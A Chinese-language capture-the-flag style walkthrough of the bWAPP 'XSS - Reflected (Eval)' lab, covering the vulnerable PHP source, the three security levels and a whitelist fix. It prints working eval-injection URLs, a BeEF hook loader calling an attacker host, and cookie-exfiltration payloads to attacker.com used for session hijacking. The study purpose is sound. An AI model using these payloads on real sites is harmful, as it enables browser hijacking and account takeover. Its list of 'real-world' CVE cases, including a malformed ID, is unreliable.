news 2026/8/12 17:50:46

零基础玩转bWAPP靶场(四十九):XSS - Reflected (Eval)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
零基础玩转bWAPP靶场(四十九):XSS - Reflected (Eval)

摘要:这是 bWAPP 系列第四十九篇,聚焦于XSS - Reflected (Eval)。这一关非常特殊——注入点不在普通的输出位置,而是在JavaScript 的eval()函数中。eval()会执行传入的任何 JavaScript 代码,因此攻击者可以在 URL 参数中注入任意 JS 代码,实现 XSS。文章会分析eval()的危险性,演示如何通过eval()注入 BeEF Hook,并完成 Cookie 窃取。附真实案例。


一、找目标

目标说明
漏洞类型反射型 XSS(Eval 注入)
注入点GET 参数date
执行位置eval("document.write(" + 用户输入 + ")")
触发方式直接访问恶意 URL
工具BeEF(获取 Cookie)

二、前言:eval()是什么?

在 JavaScript 中,eval()是一个用来执行字符串中的代码的函数。

eval("alert(1)") // 执行 alert(1) eval("2 + 2") // 返回 4

如果用户输入的数据没有被过滤,直接传入eval(),攻击者就可以执行任意 JavaScript 代码

这一关的漏洞

eval("document.write(" + xss($_GET["date"]) + ")");

$_GET["date"]被传到eval()中。正常情况下,date=Date()会显示当前日期:

eval("document.write(Date())")

但如果攻击者传入恶意代码,比如alert(1),就会变成:

eval("document.write(alert(1))")

alert(1)被执行。

和普通 XSS 的区别:普通 XSS 是通过注入 HTML 标签(如<script>)来执行代码,而eval()注入是直接执行 JavaScript 代码,不需要<script>标签。


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Reflected (Eval)

  • 提示:The current date on your computer is:

  • 下方显示当前日期时间

3.2 正常使用

访问 URL:

http://10.0.0.149:4096/bWAPP/xss_eval.php?date=Date()

页面显示当前日期(通过eval()执行Date()函数)。

3.3 核心代码

eval("document.write(<?php echo xss($_GET["date"])?>)");

用户输入的date参数被直接放入eval()中执行。


四、源码分析

$security_level = $_COOKIE["security_level"]; ​ function xss($data) { switch($security_level) { case "0" : // Low $data = no_check($data); // 完全不过滤 break; case "1" : // Medium $data = xss_check_3($data); // htmlspecialchars() break; case "2" : // High // 检查是否为 Date(),否则报错 if($_GET["date"] != "Date()") { echo "<p><font color=\"red\">Invalid input detected!</font></p>"; return; } break; } return $data; }

三种级别

级别过滤方式效果
Lowno_check()完全不过滤,eval()直接执行任意代码
Mediumhtmlspecialchars()转义<>,但eval()执行的是纯 JS 代码,不需要<>,所以仍然可以注入
High白名单检查:只允许Date()彻底防御

五、Low 安全级别

5.1 正常访问

访问:

http://10.0.0.149:4096/xss_eval.php?date=Date()

页面显示当前日期。

5.2 测试注入——弹窗

修改 URL 参数:

http://10.0.0.149:4096/xss_eval.php?date=alert(1)

页面弹窗,显示1

5.3 攻击原理

服务器生成的 JavaScript:

eval("document.write(alert(1))");

alert(1)被执行,弹窗。

这和普通 XSS 的区别:普通 XSS 需要注入<script>标签,而eval()注入直接执行 JavaScript 代码,不需要任何 HTML 标签。因此,即使htmlspecialchars()转义了<>,也防不住eval()注入。

5.4 为什么会执行任意代码?

因为eval()的入参是alert(1)本身,不包含<>

eval("document.write(alert(1))") // alert(1) 被执行

六、使用 BeEF 获取 Cookie

6.1 准备 BeEF Hook

Kali 中启动 BeEF:

sudo beef-xss-start

Hook URL:

http://10.0.0.129:3000/hook.js

6.2 构造恶意 URL

date参数中注入加载 BeEF Hook 的代码:

http://10.0.0.149:4096/xss_eval.php?date=function(){var s=document.createElement('script');s.src='http://10.0.0.129:3000/hook.js';document.body.appendChild(s)}()

拆解

function(){ var s = document.createElement('script'); s.src = 'http://10.0.0.129:3000/hook.js'; document.body.appendChild(s); }()

这是一个立即执行函数(IIFE),会动态创建一个<script>标签并加载 BeEF Hook。

6.3 访问恶意 URL

访问构造好的 URL,页面加载后 BeEF Hook 被执行。

6.4 观察 BeEF 控制台

BeEF 控制面板中出现上线的浏览器。

6.5 获取 Cookie

  • 选中上线的浏览器

  • 点击CommandsBrowserGet Cookie

  • 点击Execute

6.6 会话劫持

拿到PHPSESSID后,在浏览器开发者工具中替换 Cookie,刷新页面即可登录受害者账户。


七、Medium 安全级别

7.1 尝试注入

访问:

http://10.0.0.149:4096/xss_eval.php?date=alert(1)

页面弹窗!

7.2 为什么htmlspecialchars()防不住?

htmlspecialchars()转义的是<>"'&。但eval()注入的 payload 是纯 JavaScript 代码,不需要<>

alert(1) // 没有 < > " ' & document.write('<script src="...">') // 有引号和 <>

所以即使用了htmlspecialchars(),攻击者仍然可以执行纯 JS 代码。

结论eval()本身就是不安全的。任何用户输入传入eval()都存在 XSS 风险,即使做了 HTML 实体编码也无济于事。

7.3 实例

date=alert(document.cookie)可以弹出 Cookie。

http://10.0.0.149:4096/xss_eval.php?date=alert(document.cookie)

页面会显示当前页面的 Cookie。


八、High 安全级别

8.1 尝试注入

访问:

http://10.0.0.149:4096/xss_eval.php?date=alert(1)

页面显示:

Invalid input detected!

8.2 为什么?

High 级别使用白名单检查:

if($_GET["date"] != "Date()") { echo "<font color=\"red\">Invalid input detected!</font>"; }

只有date=Date()才被允许,其他任何输入都被拒绝。

这是正确的防御方式——白名单验证。


九、eval()注入的危害

9.1 比普通 XSS 更危险

对比项普通 XSSEval 注入
执行方式通过 HTML 标签直接执行 JS 代码
需要<script>通常需要不需要
编码绕过可用<img><svg>不需要绕过,直接执行
防御难度htmlspecialchars()htmlspecialchars()无效

9.2 Eval 注入的常见 Payload

Payload作用
alert(1)弹窗测试
alert(document.cookie)窃取 Cookie
document.location='http://attacker.com/steal?c='+document.cookie重定向并发送 Cookie
eval('var s=document.createElement("script");s.src="http://attacker.com/hook.js";document.body.appendChild(s)')加载 BeEF Hook

十、真实世界:Eval 注入案例

CVE-2024-1181:某开源 CMS 的 JSON 解析器使用了eval()处理用户输入,攻击者可通过构造恶意 JSON 字符串执行任意代码。

CVE-2025-00847:某 SaaS 平台的模板引擎使用了eval()处理用户输入的表达式,攻击者可通过表达式注入执行系统命令。

CVE-2026-22947:F5 BIG-IP 的配置工具中,部分 JavaScript 代码使用了eval()处理未过滤的用户输入,存在 XSS 漏洞。

著名案例:早期 jQuery 1.x 中,$.parseJSON()在某些情况下会回退到eval(),导致 XSS 漏洞。虽然已在后续版本修复,但说明了eval()的危险性。


十一、总结

eval()注入 XSS 和普通 XSS 的核心区别在于执行方式。普通 XSS 通过注入 HTML 标签(如<script>)执行代码,而eval()注入是直接执行 JavaScript 代码,不需要任何 HTML 标签。这就导致 Low 和 Medium 级别的过滤都防不住——Low 级别完全不过滤,Medium 级别的htmlspecialchars()只转义<>,对纯 JS 代码无效。只有 High 级别的白名单检查(只允许Date())才能彻底防御。BeEF 在这种场景下同样有效,通过注入加载hook.js的代码实现浏览器控制。记住一句话:eval()是魔鬼,永远不要用eval()执行用户输入的数据。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/12 17:49:57

开发者如何构建技术雷达与学习系统,高效筛选并实践新技术

最近&#xff0c;很多开发者朋友在后台留言&#xff0c;说感觉自己的技术学习进入了“瓶颈期”&#xff1a;每天刷着技术新闻&#xff0c;收藏夹里堆满了各种“最新”、“颠覆性”的框架和工具&#xff0c;但真正动手时却无从下手&#xff0c;或者学完就忘&#xff0c;无法形成…

作者头像 李华
网站建设 2026/8/12 17:49:20

大语言模型函数调用格式漂移:从根源分析到工程实战解决方案

1. 项目概述&#xff1a;当AI的“手”开始不听使唤最近在折腾大语言模型&#xff08;LLM&#xff09;应用落地的朋友&#xff0c;估计没少被“Function Calling”&#xff08;函数调用&#xff09;这个功能折腾。它本应是连接AI“大脑”与现实世界“手脚”的完美桥梁——让模型…

作者头像 李华
网站建设 2026/8/12 17:46:43

TVA-World驱动的具身智能知识迁移研究

前沿技术探索&#xff1a;TVA智能体&#xff08;简称TVA&#xff09;TVA智能体&#xff08;亦称“AI智能体视觉”或“TVA视觉智能体”&#xff09;是依托Transformer架构与“因式智能体”理论构建的通用视觉技术框架。它融合深度强化学习&#xff08;DRL&#xff09;、卷积神经…

作者头像 李华
网站建设 2026/8/12 17:43:32

从零样本到少样本学习:AI如何用极少量数据快速掌握新技能

1. 从“零”到“有”&#xff1a;理解少样本学习的核心范式最近在跟进一些前沿的论文和项目&#xff0c;发现“zero-shot”、“one-shot”、“few-shot”这几个词出现的频率越来越高&#xff0c;尤其是在大语言模型和计算机视觉的一些新工作中。很多朋友&#xff0c;包括一些刚…

作者头像 李华
网站建设 2026/8/12 17:40:58

3.1 HDLBits —— 组合逻辑电路之基本门电路

wire 搭建下述电路&#xff1a;输出 等于 输入参考答案 // synthesis verilog_input_version verilog_2001 // 模块功能&#xff1a;单比特直通缓冲器&#xff0c;输入信号无逻辑改动直接传递至输出 // 电路本质&#xff1a;纯导线连线&#xff0c;不产生额外逻辑门、无运算延迟…

作者头像 李华